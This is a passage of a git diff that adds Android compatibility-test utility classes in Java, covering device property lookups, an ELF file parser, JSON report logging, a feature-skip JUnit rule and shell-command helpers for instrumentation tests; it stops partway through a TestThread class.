+ public static boolean isVendorApiLevelNewerThan(int apiLevel) {
+ int vendorApiLevel = getPropertyInt(VNDK_VERSION);
+ if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+ return true;
+ }
+ return vendorApiLevel > apiLevel;
+ }
+
+ /**
+ * Return the manufacturer of this product. If unset, return null.
+ */
+ public static String getManufacturer() {
+ return getProperty(MANUFACTURER_PROPERTY);
+ }
+
+ /** Returns a mapping from client ID names to client ID values */
+ public static Map<String, String> getClientIds() throws IOException {
+ Map<String,String> clientIds = new HashMap<>();
+ String queryOutput = SystemUtil.runShellCommand(
+ InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
+ for (String line : queryOutput.split("[\\r?\\n]+")) {
+ // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+ Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.find()) {
+ String name = matcher.group(1);
+ String value = matcher.group(2);
+ if (name.contains("client_id")) {
+ clientIds.put(name, value); // only add name-value pair for client ids
+ }
+ }
+ }
+ return clientIds;
+ }
+
+ /** Returns whether the property exists on this device */
+ public static boolean propertyExists(String property) {
+ return getProperty(property) != null;
+ }
+
+ /** Returns whether the property value is equal to a given string */
+ public static boolean propertyEquals(String property, String value) {
+ if (value == null) {
+ return !propertyExists(property); // null value implies property does not exist
+ }
+ return value.equals(getProperty(property));
+ }
+
+ /**
+ * Returns whether the property value matches a given regular expression. The method uses
+ * String.matches(), requiring a complete match (i.e. expression matches entire value string)
+ */
+ public static boolean propertyMatches(String property, String regex) {
+ if (regex == null || regex.isEmpty()) {
+ // null or empty pattern implies property does not exist
+ return !propertyExists(property);
+ }
+ String value = getProperty(property);
+ return (value == null) ? false : value.matches(regex);
+ }
+
+ /**
+ * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
+ */
+ public static int getPropertyInt(String property) {
+ String value = getProperty(property);
+ if (value == null) {
+ return INT_VALUE_IF_UNSET;
+ }
+ try {
+ return Integer.parseInt(value);
+ } catch (NumberFormatException e) {
+ return INT_VALUE_IF_UNSET;
+ }
+ }
+
+ /** Retrieves the desired property value in string form */
+ public static String getProperty(String property) {
+ Scanner scanner = null;
+ try {
+ Process process = new ProcessBuilder("getprop", property).start();
+ scanner = new Scanner(process.getInputStream());
+ String value = scanner.nextLine().trim();
+ return (value.isEmpty()) ? null : value;
+ } catch (IOException e) {
+ return null;
+ } finally {
+ if (scanner != null) {
+ scanner.close();
+ }
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ReadElf.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReadElf.java
new file mode 100644
index 0000000..feaa9cd
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReadElf.java
@@ -0,0 +1,494 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A poor man's implementation of the readelf command. This program is designed
+ * to parse ELF (Executable and Linkable Format) files.
+ */
+public class ReadElf implements AutoCloseable {
+ /** The magic values for the ELF identification. */
+ private static final byte[] ELFMAG = {
+ (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F', };
+
+ private static final int EI_NIDENT = 16;
+
+ private static final int EI_CLASS = 4;
+ private static final int EI_DATA = 5;
+
+ private static final int EM_386 = 3;
+ private static final int EM_MIPS = 8;
+ private static final int EM_ARM = 40;
+ private static final int EM_X86_64 = 62;
+ // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
+ private static final int EM_QDSP6 = 164;
+ private static final int EM_AARCH64 = 183;
+
+ private static final int ELFCLASS32 = 1;
+ private static final int ELFCLASS64 = 2;
+
+ private static final int ELFDATA2LSB = 1;
+ private static final int ELFDATA2MSB = 2;
+
+ private static final int EV_CURRENT = 1;
+
+ private static final long PT_LOAD = 1;
+
+ private static final int SHT_SYMTAB = 2;
+ private static final int SHT_STRTAB = 3;
+ private static final int SHT_DYNAMIC = 6;
+ private static final int SHT_DYNSYM = 11;
+
+ public static class Symbol {
+ public static final int STB_LOCAL = 0;
+ public static final int STB_GLOBAL = 1;
+ public static final int STB_WEAK = 2;
+ public static final int STB_LOPROC = 13;
+ public static final int STB_HIPROC = 15;
+
+ public static final int STT_NOTYPE = 0;
+ public static final int STT_OBJECT = 1;
+ public static final int STT_FUNC = 2;
+ public static final int STT_SECTION = 3;
+ public static final int STT_FILE = 4;
+ public static final int STT_COMMON = 5;
+ public static final int STT_TLS = 6;
+
+ public final String name;
+ public final int bind;
+ public final int type;
+
+ Symbol(String name, int st_info) {
+ this.name = name;
+ this.bind = (st_info >> 4) & 0x0F;
+ this.type = st_info & 0x0F;
+ }
+
+ @Override
+ public String toString() {
+ return "Symbol[" + name + "," + toBind() + "," + toType() + "]";
+ }
+
+ private String toBind() {
+ switch (bind) {
+ case STB_LOCAL:
+ return "LOCAL";
+ case STB_GLOBAL:
+ return "GLOBAL";
+ case STB_WEAK:
+ return "WEAK";
+ }
+ return "STB_??? (" + bind + ")";
+ }
+
+ private String toType() {
+ switch (type) {
+ case STT_NOTYPE:
+ return "NOTYPE";
+ case STT_OBJECT:
+ return "OBJECT";
+ case STT_FUNC:
+ return "FUNC";
+ case STT_SECTION:
+ return "SECTION";
+ case STT_FILE:
+ return "FILE";
+ case STT_COMMON:
+ return "COMMON";
+ case STT_TLS:
+ return "TLS";
+ }
+ return "STT_??? (" + type + ")";
+ }
+ }
+
+ private final String mPath;
+ private final RandomAccessFile mFile;
+ private final byte[] mBuffer = new byte[512];
+ private int mEndian;
+ private boolean mIsDynamic;
+ private boolean mIsPIE;
+ private int mType;
+ private int mAddrSize;
+
+ /** Symbol Table offset */
+ private long mSymTabOffset;
+
+ /** Symbol Table size */
+ private long mSymTabSize;
+
+ /** Dynamic Symbol Table offset */
+ private long mDynSymOffset;
+
+ /** Dynamic Symbol Table size */
+ private long mDynSymSize;
+
+ /** Section Header String Table offset */
+ private long mShStrTabOffset;
+
+ /** Section Header String Table size */
+ private long mShStrTabSize;
+
+ /** String Table offset */
+ private long mStrTabOffset;
+
+ /** String Table size */
+ private long mStrTabSize;
+
+ /** Dynamic String Table offset */
+ private long mDynStrOffset;
+
+ /** Dynamic String Table size */
+ private long mDynStrSize;
+
+ /** Symbol Table symbol names */
+ private Map<String, Symbol> mSymbols;
+
+ /** Dynamic Symbol Table symbol names */
+ private Map<String, Symbol> mDynamicSymbols;
+
+ public static ReadElf read(File file) throws IOException {
+ return new ReadElf(file);
+ }
+
+ public static void main(String[] args) throws IOException {
+ for (String arg : args) {
+ ReadElf re = new ReadElf(new File(arg));
+ re.getSymbol("x");
+ re.getDynamicSymbol("x");
+ re.close();
+ }
+ }
+
+ public boolean isDynamic() {
+ return mIsDynamic;
+ }
+
+ public int getType() {
+ return mType;
+ }
+
+ public boolean isPIE() {
+ return mIsPIE;
+ }
+
+ private ReadElf(File file) throws IOException {
+ mPath = file.getPath();
+ mFile = new RandomAccessFile(file, "r");
+
+ if (mFile.length() < EI_NIDENT) {
+ throw new IllegalArgumentException("Too small to be an ELF file: " + file);
+ }
+
+ readHeader();
+ }
+
+ @Override
+ public void close() {
+ try {
+ mFile.close();
+ } catch (IOException ignored) {
+ }
+ }
+
+ @Override
+ protected void finalize() throws Throwable {
+ try {
+ close();
+ } finally {
+ super.finalize();
+ }
+ }
+
+ private void readHeader() throws IOException {
+ mFile.seek(0);
+ mFile.readFully(mBuffer, 0, EI_NIDENT);
+
+ if (mBuffer[0] != ELFMAG[0] || mBuffer[1] != ELFMAG[1] ||
+ mBuffer[2] != ELFMAG[2] || mBuffer[3] != ELFMAG[3]) {
+ throw new IllegalArgumentException("Invalid ELF file: " + mPath);
+ }
+
+ int elfClass = mBuffer[EI_CLASS];
+ if (elfClass == ELFCLASS32) {
+ mAddrSize = 4;
+ } else if (elfClass == ELFCLASS64) {
+ mAddrSize = 8;
+ } else {
+ throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
+ }
+
+ mEndian = mBuffer[EI_DATA];
+ if (mEndian == ELFDATA2LSB) {
+ } else if (mEndian == ELFDATA2MSB) {
+ throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
+ } else {
+ throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
+ }
+
+ mType = readHalf();
+
+ int e_machine = readHalf();
+ if (e_machine != EM_386 && e_machine != EM_X86_64 &&
+ e_machine != EM_AARCH64 && e_machine != EM_ARM &&
+ e_machine != EM_MIPS &&
+ e_machine != EM_QDSP6) {
+ throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
+ }
+
+ // AbiTest relies on us rejecting any unsupported combinations.
+ if ((e_machine == EM_386 && elfClass != ELFCLASS32) ||
+ (e_machine == EM_X86_64 && elfClass != ELFCLASS64) ||
+ (e_machine == EM_AARCH64 && elfClass != ELFCLASS64) ||
+ (e_machine == EM_ARM && elfClass != ELFCLASS32) ||
+ (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
+ throw new IOException("Invalid e_machine/EI_CLASS ELF combination: " +
+ e_machine + "/" + elfClass + ": " + mPath);
+ }
+
+ long e_version = readWord();
+ if (e_version != EV_CURRENT) {
+ throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
+ }
+
+ long e_entry = readAddr();
+
+ long ph_off = readOff();
+ long sh_off = readOff();
+
+ long e_flags = readWord();
+ int e_ehsize = readHalf();
+ int e_phentsize = readHalf();
+ int e_phnum = readHalf();
+ int e_shentsize = readHalf();
+ int e_shnum = readHalf();
+ int e_shstrndx = readHalf();
+
+ readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
+ readProgramHeaders(ph_off, e_phnum, e_phentsize);
+ }
+
+ private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
+ throws IOException {
+ // Read the Section Header String Table offset first.
+ {
+ mFile.seek(sh_off + e_shstrndx * e_shentsize);
+
+ long sh_name = readWord();
+ long sh_type = readWord();
+ long sh_flags = readX(mAddrSize);
+ long sh_addr = readAddr();
+ long sh_offset = readOff();
+ long sh_size = readX(mAddrSize);
+ // ...
+
+ if (sh_type == SHT_STRTAB) {
+ mShStrTabOffset = sh_offset;
+ mShStrTabSize = sh_size;
+ }
+ }
+
+ for (int i = 0; i < e_shnum; ++i) {
+ // Don't bother to re-read the Section Header StrTab.
+ if (i == e_shstrndx) {
+ continue;
+ }
+
+ mFile.seek(sh_off + i * e_shentsize);
+
+ long sh_name = readWord();
+ long sh_type = readWord();
+ long sh_flags = readX(mAddrSize);
+ long sh_addr = readAddr();
+ long sh_offset = readOff();
+ long sh_size = readX(mAddrSize);
+
+ if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
+ final String symTabName = readShStrTabEntry(sh_name);
+ if (".symtab".equals(symTabName)) {
+ mSymTabOffset = sh_offset;
+ mSymTabSize = sh_size;
+ } else if (".dynsym".equals(symTabName)) {
+ mDynSymOffset = sh_offset;
+ mDynSymSize = sh_size;
+ }
+ } else if (sh_type == SHT_STRTAB) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".strtab".equals(strTabName)) {
+ mStrTabOffset = sh_offset;
+ mStrTabSize = sh_size;
+ } else if (".dynstr".equals(strTabName)) {
+ mDynStrOffset = sh_offset;
+ mDynStrSize = sh_size;
+ }
+ } else if (sh_type == SHT_DYNAMIC) {
+ mIsDynamic = true;
+ }
+ }
+ }
+
+ private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
+ for (int i = 0; i < e_phnum; ++i) {
+ mFile.seek(ph_off + i * e_phentsize);
+
+ long p_type = readWord();
+ if (p_type == PT_LOAD) {
+ if (mAddrSize == 8) {
+ // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
+ long p_flags = readWord();
+ }
+ long p_offset = readOff();
+ long p_vaddr = readAddr();
+ // ...
+
+ if (p_vaddr == 0) {
+ mIsPIE = true;
+ }
+ }
+ }
+ }
+
+ private HashMap<String, Symbol> readSymbolTable(long symStrOffset, long symStrSize,
+ long tableOffset, long tableSize) throws IOException {
+ HashMap<String, Symbol> result = new HashMap<String, Symbol>();
+ mFile.seek(tableOffset);
+ while (mFile.getFilePointer() < tableOffset + tableSize) {
+ long st_name = readWord();
+ int st_info;
+ if (mAddrSize == 8) {
+ st_info = readByte();
+ int st_other = readByte();
+ int st_shndx = readHalf();
+ long st_value = readAddr();
+ long st_size = readX(mAddrSize);
+ } else {
+ long st_value = readAddr();
+ long st_size = readWord();
+ st_info = readByte();
+ int st_other = readByte();
+ int st_shndx = readHalf();
+ }
+ if (st_name == 0) {
+ continue;
+ }
+
+ final String symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
+ if (symName != null) {
+ Symbol s = new Symbol(symName, st_info);
+ result.put(symName, s);
+ }
+ }
+ return result;
+ }
+
+ private String readShStrTabEntry(long strOffset) throws IOException {
+ if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
+ return null;
+ }
+ return readString(mShStrTabOffset + strOffset);
+ }
+
+ private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
+ throws IOException {
+ if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
+ return null;
+ }
+ return readString(tableOffset + strOffset);
+ }
+
+ private int readHalf() throws IOException {
+ return (int) readX(2);
+ }
+
+ private long readWord() throws IOException {
+ return readX(4);
+ }
+
+ private long readOff() throws IOException {
+ return readX(mAddrSize);
+ }
+
+ private long readAddr() throws IOException {
+ return readX(mAddrSize);
+ }
+
+ private long readX(int byteCount) throws IOException {
+ mFile.readFully(mBuffer, 0, byteCount);
+
+ int answer = 0;
+ if (mEndian == ELFDATA2LSB) {
+ for (int i = byteCount - 1; i >= 0; i--) {
+ answer = (answer << 8) | (mBuffer[i] & 0xff);
+ }
+ } else {
+ final int N = byteCount - 1;
+ for (int i = 0; i <= N; ++i) {
+ answer = (answer << 8) | (mBuffer[i] & 0xff);
+ }
+ }
+
+ return answer;
+ }
+
+ private String readString(long offset) throws IOException {
+ long originalOffset = mFile.getFilePointer();
+ mFile.seek(offset);
+ mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
+ mFile.seek(originalOffset);
+
+ for (int i = 0; i < mBuffer.length; ++i) {
+ if (mBuffer[i] == 0) {
+ return new String(mBuffer, 0, i);
+ }
+ }
+
+ return null;
+ }
+
+ private int readByte() throws IOException {
+ return mFile.read() & 0xff;
+ }
+
+ public Symbol getSymbol(String name) {
+ if (mSymbols == null) {
+ try {
+ mSymbols = readSymbolTable(mStrTabOffset, mStrTabSize, mSymTabOffset, mSymTabSize);
+ } catch (IOException e) {
+ return null;
+ }
+ }
+ return mSymbols.get(name);
+ }
+
+ public Symbol getDynamicSymbol(String name) {
+ if (mDynamicSymbols == null) {
+ try {
+ mDynamicSymbols = readSymbolTable(
+ mDynStrOffset, mDynStrSize, mDynSymOffset, mDynSymSize);
+ } catch (IOException e) {
+ return null;
+ }
+ }
+ return mDynamicSymbols.get(name);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
new file mode 100644
index 0000000..538881d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.util.JsonWriter;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+
+public class ReportLogDeviceInfoStore extends DeviceInfoStore {
+
+ private final String mStreamName;
+ private File tempJsonFile;
+
+ public ReportLogDeviceInfoStore(File jsonFile, String streamName) throws Exception {
+ mJsonFile = jsonFile;
+ mStreamName = streamName;
+ }
+
+ /**
+ * Creates the writer and starts the JSON Object for the metric stream.
+ */
+ @Override
+ public void open() throws IOException {
+ // Write new metrics to a temp file to avoid invalid JSON files due to failed tests.
+ BufferedWriter formatWriter;
+ tempJsonFile = File.createTempFile(mStreamName, "-temp-report-log");
+ formatWriter = new BufferedWriter(new FileWriter(tempJsonFile));
+ if (mJsonFile.exists()) {
+ BufferedReader jsonReader = new BufferedReader(new FileReader(mJsonFile));
+ String currentLine;
+ String nextLine = jsonReader.readLine();
+ while ((currentLine = nextLine) != null) {
+ nextLine = jsonReader.readLine();
+ if (nextLine == null && currentLine.charAt(currentLine.length() - 1) == '}') {
+ // Reopen overall JSON object to write new metrics.
+ currentLine = currentLine.substring(0, currentLine.length() - 1) + ",";
+ }
+ // Copy to temp file directly to avoid large metrics string in memory.
+ formatWriter.write(currentLine, 0, currentLine.length());
+ }
+ jsonReader.close();
+ } else {
+ formatWriter.write("{", 0 , 1);
+ }
+ // Start new JSON object for new metrics.
+ formatWriter.write("\"" + mStreamName + "\":", 0, mStreamName.length() + 3);
+ formatWriter.flush();
+ formatWriter.close();
+ mJsonWriter = new JsonWriter(new FileWriter(tempJsonFile, true));
+ mJsonWriter.beginObject();
+ }
+
+ /**
+ * Closes the writer.
+ */
+ @Override
+ public void close() throws IOException {
+ // Close JSON Writer.
+ mJsonWriter.endObject();
+ mJsonWriter.close();
+ // Close overall JSON Object.
+ try (BufferedWriter formatWriter = new BufferedWriter(new FileWriter(tempJsonFile, true))) {
+ formatWriter.write("}", 0, 1);
+ }
+ // Copy metrics from temp file and delete temp file.
+ mJsonFile.createNewFile();
+ try (
+ BufferedReader jsonReader = new BufferedReader(new FileReader(tempJsonFile));
+ BufferedWriter metricsWriter = new BufferedWriter(new FileWriter(mJsonFile))
+ ) {
+ String line;
+ while ((line = jsonReader.readLine()) != null) {
+ // Copy from temp file directly to avoid large metrics string in memory.
+ metricsWriter.write(line, 0, line.length());
+ }
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
new file mode 100644
index 0000000..deb7056
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not have a given feature.
+ */
+public class RequiredFeatureRule implements TestRule {
+ private static final String TAG = "RequiredFeatureRule";
+
+ private final String mFeature;
+ private final boolean mHasFeature;
+
+ public RequiredFeatureRule(String feature) {
+ mFeature = feature;
+ mHasFeature = hasFeature(feature);
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ if (!mHasFeature) {
+ Log.d(TAG, "skipping "
+ + description.getClassName() + "#" + description.getMethodName()
+ + " because device does not have feature '" + mFeature + "'");
+ return;
+ }
+ base.evaluate();
+ }
+ };
+ }
+
+ public static boolean hasFeature(String feature) {
+ return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/Result.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/Result.java
new file mode 100644
index 0000000..0d8a29a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/Result.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package com.android.compatibility.common.util;
+
+/**
+ * Represents the result of a test.
+ */
+public interface Result {
+ public static final int RESULT_OK = 1;
+ public static final int RESULT_FAIL = 2;
+ /**
+ * Sets the test result of this object.
+ *
+ * @param resultCode The test result, either {@code RESULT_OK} or {@code RESULT_FAIL}.
+ */
+ void setResult(int resultCode);
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
new file mode 100644
index 0000000..c34cb60
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+public class SettingsUtils {
+ private SettingsUtils() {
+ }
+
+ /**
+ * Put a global setting.
+ */
+ public static void putGlobalSetting(String key, String value) {
+ // Hmm, technically we should escape a value, but if I do like '1', it won't work. ??
+ SystemUtil.runShellCommandForNoOutput("settings put global " + key + " " + value);
+ }
+
+ /**
+ * Put a global setting for the current (foreground) user.
+ */
+ public static void putSecureSetting(String key, String value) {
+ SystemUtil.runShellCommandForNoOutput(
+ "settings --user current put secure " + key + " " + value);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
new file mode 100644
index 0000000..a7c2321
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.MemoryInfo;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.os.ParcelFileDescriptor;
+import android.os.StatFs;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.function.Predicate;
+
+public class SystemUtil {
+ private static final String TAG = "CtsSystemUtil";
+
+ public static long getFreeDiskSize(Context context) {
+ final StatFs statFs = new StatFs(context.getFilesDir().getAbsolutePath());
+ return (long)statFs.getAvailableBlocks() * statFs.getBlockSize();
+ }
+
+ public static long getFreeMemory(Context context) {
+ final MemoryInfo info = new MemoryInfo();
+ ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
+ return info.availMem;
+ }
+
+ public static long getTotalMemory(Context context) {
+ final MemoryInfo info = new MemoryInfo();
+ ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
+ return info.totalMem;
+ }
+
+ /**
+ * Executes a shell command using shell user identity, and return the standard output in string
+ * <p>Note: calling this function requires API level 21 or above
+ * @param instrumentation {@link Instrumentation} instance, obtained from a test running in
+ * instrumentation framework
+ * @param cmd the command to run
+ * @return the standard output of the command
+ * @throws Exception
+ */
+ public static String runShellCommand(Instrumentation instrumentation, String cmd)
+ throws IOException {
+ Log.v(TAG, "Running command: " + cmd);
+ if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
+ throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
+ + "or revokeRuntimePermission() directly, which are more robust.");
+ }
+ ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(cmd);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ StringBuffer stdout = new StringBuffer();
+ while ((bytesRead = fis.read(buf)) != -1) {
+ stdout.append(new String(buf, 0, bytesRead));
+ }
+ fis.close();
+ return stdout.toString();
+ }
+
+ /**
+ * Simpler version of {@link #runShellCommand(Instrumentation, String)}.
+ */
+ public static String runShellCommand(String cmd) {
+ try {
+ return runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
+ } catch (IOException e) {
+ fail("Failed reading command output: " + e);
+ return "";
+ }
+ }
+
+ /**
+ * Same as {@link #runShellCommand(String)}, with optionally
+ * check the result using {@code resultChecker}.
+ */
+ public static String runShellCommand(String cmd, Predicate<String> resultChecker) {
+ final String result = runShellCommand(cmd);
+ if (resultChecker != null) {
+ assertTrue("Assertion failed. Command was: " + cmd + "\n"
+ + "Output was:\n" + result,
+ resultChecker.test(result));
+ }
+ return result;
+ }
+
+ /**
+ * Same as {@link #runShellCommand(String)}, but fails if the output is not empty.
+ */
+ public static String runShellCommandForNoOutput(String cmd) {
+ final String result = runShellCommand(cmd);
+ assertTrue("Command failed. Command was: " + cmd + "\n"
+ + "Didn't expect any output, but the output was:\n" + result,
+ result.length() == 0);
+ return result;
+ }
+
+ /**
+ * Run a command and print the result on logcat.
+ */
+ public static void runCommandAndPrintOnLogcat(String logtag, String cmd) {
+ Log.i(logtag, "Executing: " + cmd);
+ final String output = runShellCommand(cmd);
+ for (String line : output.split("\\n", -1)) {
+ Log.i(logtag, line);
+ }
+ }
+
+ /**
+ * Run a command and return the section matching the patterns.
+ *
+ * @see TextUtils#extractSection
+ */
+ public static String runCommandAndExtractSection(String cmd,
+ String extractionStartRegex, boolean startInclusive,
+ String extractionEndRegex, boolean endInclusive) {
+ return TextUtils.extractSection(runShellCommand(cmd), extractionStartRegex, startInclusive,
+ extractionEndRegex, endInclusive);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/TestThread.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestThread.java
new file mode 100644
index 0000000..894b9c8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestThread.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+/**
+ * Thread class for executing a Runnable containing assertions in a separate thread.
+ * Uncaught exceptions in the Runnable are rethrown in the context of the the thread
+ * calling the <code>runTest()</code> method.
+ */
+public final class TestThread extends Thread {
+ private Throwable mThrowable;
+ private Runnable mTarget;
+
+ public TestThread(Runnable target) {
+ mTarget = target;
+ }
+
+ @Override
+ public final void run() {
+ try {
+ mTarget.run();
+ } catch (Throwable t) {
+ mThrowable = t;
+ }
+ }
+
+ /**
+ * Run the target Runnable object and wait until the test finish or throw
+ * out Exception if test fail.
+ *
+ * @param runTime
+ * @throws Throwable
+ */
+ public void runTest(long runTime) throws Throwable {
+ start();
+ joinAndCheck(runTime);
+ }
+
+ /**
+ * Get the Throwable object which is thrown when test running
+ * @return The Throwable object
+ */
+ public Throwable getThrowable() {
+ return mThrowable;
+ }
+
+ /**
+ * Set the Throwable object which is thrown when test running
+ * @param t The Throwable object
+ */
